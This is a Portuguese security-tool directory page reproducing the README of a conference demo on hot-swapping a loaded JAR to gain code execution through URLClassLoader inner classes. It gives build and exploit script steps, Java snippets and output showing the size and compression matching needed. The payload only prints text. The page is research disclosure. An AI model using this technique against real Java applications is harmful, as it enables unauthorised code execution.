Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
hot-jar-swapping-urlclassloader — Demonstração da troca de JAR do URLClassLoader mostrando a capacidade de substituir e explorar um JAR já carregado com classes internas. | Kitploit
Ferramentas/GitHubGitHub/fransr/hot-jar-swapping-urlclassloader
ExploraçãoAprendizado e EducaçãoRed TeamingDesenvolvimento de Payloads
GitHubfransr/hot-jar-swapping-urlclassloader

hot-jar-swapping-urlclassloader

Demonstração da troca de JAR do URLClassLoader mostrando a capacidade de substituir e explorar um JAR já carregado com classes internas.

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
327há 3 anosRevisado pelo Kitploit

Troca de JAR a quente via URLClassLoader

O exemplo de código a seguir mostra a capacidade de fazer troca a quente de um arquivo JAR já carregado e obter execução de código abusando do fato de que classes internas ainda acessam o arquivo JAR quando invocadas, desde que o inode não mude.

Testado no MacOS com OpenJDK (e também explorado no editor Author da Apple usando o Transporter).

Demonstração da palestra de Frans Rosén intitulada "Story of a RCE on Apple through hot jar swapping", da NahamCon 2022 EU.

Como executar

build-and-run.sh

Execute com:

root@kitploit:~
./build-and-run.sh

Isso irá:

root@kitploit:~
Compile HelloWorld/*.java into HelloWorld.jar
Compile Bootstrapper/*.java into Bootstrapper.jar
Make a copy of HelloWorld.jar into OrigHelloWorld.jar
Run Bootstrapper.jar

O Bootstrapper carregará e executará a classe HelloWorld.Main usando URLClassLoader e solicitará que você execute o método hello da classe HelloWorld.Secondary, que também já foi carregada. Isso serve para controlar quando substituir o JAR que já foi carregado.

root@kitploit:~
$ ./build-and-run.sh 
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)

Agora você pode decidir se quer pressionar Enter sem substituir nenhum JAR; isso mostrará o fluxo de código correto de HelloWorld/Secondary.java:

root@kitploit:~
Hello from secondary class, here are all files in testdir/

testdir/hej
testdir/hej123

This is from the legit postVisitDirectory function:
testdir

End of run, goodbye

exploit.sh

O exploit.sh irá:

root@kitploit:~
Compile Exploit/HelloWorld/*.java and move *.class files over to BuildDirForExploit/
Compile a exploit.jar from BuildDirForExploit/-dir
Compare the exploit.jar and OrigHelloWorld.jar using unzip -lv
Tell you if there's a diff or not based on size, compression rate and compression size
Copy exploit.jar over the existing HelloWorld.jar regardless if there's a difference or not

A parte da cópia ao sobrescrever HelloWorld.jar com exploit.jar é importante, porque se o inode mudar, o exploit não terá sucesso. Um comando mv gravará um novo inode, mas cp para um arquivo existente não. O mesmo aconteceu ao usar a extração ZIP; o inode do JAR já existente nunca mudou, permitindo que o exploit funcionasse.

Se quiser testar a troca de JAR a quente, execute o exploit.sh em uma janela diferente depois de executar, mas antes de pressionar Enter ao chamar build-and-run.sh:

root@kitploit:~
$ ./build-and-run.sh 
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)

## Run this in a different terminal:

$ ./exploit.sh 

NO DIFF IN COMPRESSION, EXPLOIT WILL SUCCEED

-rw-r--r--  1 frans  staff  2281 Dec  9 13:20 rce.jar
-rw-r--r--@ 1 frans  staff  2281 Dec  9 13:20 ../HelloWorld.jar

## Now click enter in the other tab to complete the ./build-and-run.sh)

Se agora você pressionar Enter no ./build-and-run.sh, deverá ver com sucesso o código substituído:

root@kitploit:~
Hello from secondary class, here are all files in testdir/

testdir/hej
testdir/hej123
AAAAAAAFGFFFFAAAGAAAAFAAAAAFFFFFAAAFA different code
testdir

End of run, goodbye

Mostrando que podemos abusar do fato de que classes internas/anônimas ainda são carregadas do arquivo JAR físico, mesmo que o URLClassLoader já tenha carregado o JAR antes de o substituirmos.

Explicação do problema

Este repositório de código tenta explicar que você consegue sobrescrever arquivos JAR já carregados para obter execução de código sob alguns pré-requisitos.

A ideia é que o JAR foi inicialmente carregado com URLClassLoader:

root@kitploit:~
        URL[] classLoaderUrls = new URL[]{new URL("file://" + System.getProperty("user.dir") + "/HelloWorld.jar")};
        URLClassLoader urlClassLoader = new URLClassLoader(classLoaderUrls);
        Class<?> beanClass = urlClassLoader.loadClass("HelloWorld.Main");
        Constructor<?> constructor = beanClass.getConstructor();
        Object beanObj = constructor.newInstance();
        Method method = beanClass.getMethod("hello");

E um método secundário também foi carregado na inicialização, mas nunca invocado:

root@kitploit:~
        // Initiating the secondary class on boot, this is the one we replace the inner class of
        Class<?> secondaryClass = urlClassLoader.loadClass("HelloWorld.Secondary");
        Constructor<?> secondaryConstructor = secondaryClass.getConstructor();
        Object secondaryObj = secondaryConstructor.newInstance();
        Method secondaryMethod = secondaryClass.getMethod("hello");

Se o JAR for substituído enquanto o aplicativo está em execução, e a classe que foi carregada, mas nunca teve nenhum método invocado, também tiver classes internas, seremos capazes de fazer com que ela execute código diferente do novo JAR se a invocação ocorrer mais tarde:

root@kitploit:~
        // Invoke secondary class hello that contains an inner class
        secondaryMethod.invoke(secondaryObj);

Portanto, se esse método contiver uma classe interna (elas aparecem no JAR como $1.class) e substituirmos a classe interna por algo com o mesmo tamanho e taxa de compressão, conseguimos fazer a troca a quente do JAR e executar nosso próprio código.

Explicação do exploit

A classe anônima do arquivo Exploit/HelloWorld/Secondary.java é compilada na classe interna Exploit/HelloWorld/Secondary$1.class, que tem o mesmo tamanho e taxa de compressão de quando HelloWorld/Secondary.java é compilado e compactado. Se o tamanho ou a taxa de compressão fossem diferentes, você obteria uma falha ao pressionar Enter no build-and-run.sh.

Então, se você alterasse Exploit/HelloWorld/Secondary.java para, por exemplo, (functionn em vez de function:):

root@kitploit:~
          public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
            System.out.println("\nThis is from the legit postVisitDirectory functionn");
            System.out.println(dir);
            return FileVisitResult.CONTINUE;
          }

Onde o resultado da compressão é o mesmo, mas a taxa de compressão está errada:

root@kitploit:~
$ ./exploit.sh 
6c6
< 1430 643 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r--  1 frans  staff  2280 Dec  9 13:44 exploit.jar
-rw-r--r--@ 1 frans  staff  2281 Dec  9 13:44 ../HelloWorld.jar

você veria:

root@kitploit:~
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)

Hello from secondary class, here are all files in testdir/

Exception in thread "main" java.lang.reflect.InvocationTargetException
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at Bootstrapper.Main.main(Main.java:38)
Caused by: java.lang.NoClassDefFoundError: HelloWorld/Secondary$1
	at HelloWorld.Secondary.hello(Secondary.java:11)
	... 5 more
Caused by: java.lang.ClassNotFoundException: HelloWorld.Secondary$1
	at java.net.URLClassLoader.findClass(URLClassLoader.java:387)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:418)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:351)
	... 6 more

No OpenJDK, parece que se o tamanho original diferir, mas o tamanho da compressão for o mesmo, ainda funciona:

root@kitploit:~
          public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
            System.out.println("AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA");
            System.out.println(dir);
            return FileVisitResult.CONTINUE;
          }
root@kitploit:~
$ ./exploit.sh 
6c6
< 1437 644 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
9c9
< 2895 45% 5
---
> 2888 45% 5
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r--  1 frans  staff  2281 Dec  9 13:52 exploit.jar
-rw-r--r--@ 1 frans  staff  2282 Dec  9 13:52 ../HelloWorld.jar
root@kitploit:~
Hello from secondary class, here are all files in testdir/

testdir/hej
testdir/hej123
AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA
testdir

O exploit.sh ainda dirá que há diferença, pois pode não funcionar em todas as versões.

Você também verá que, se alterar coisas em Exploit/HelloWorld/Secondary.java fora da classe interna, como:

root@kitploit:~
System.out.println("\nEnd of run, goodbye");

para:

root@kitploit:~
System.out.println("\nEnd of run, goodbya");

o que fará com que o Secondary.class tenha a mesma taxa de compressão e tamanho; ainda assim, não acionará o conteúdo substituído, pois a classe já está carregada pelo URLClassLoader, confirmando que isso afeta apenas classes internas (as nomeadas como $1.class no JAR), já que elas são carregadas do arquivo JAR quando usadas:

root@kitploit:~
End of run, goodbye
Baixar ferramenta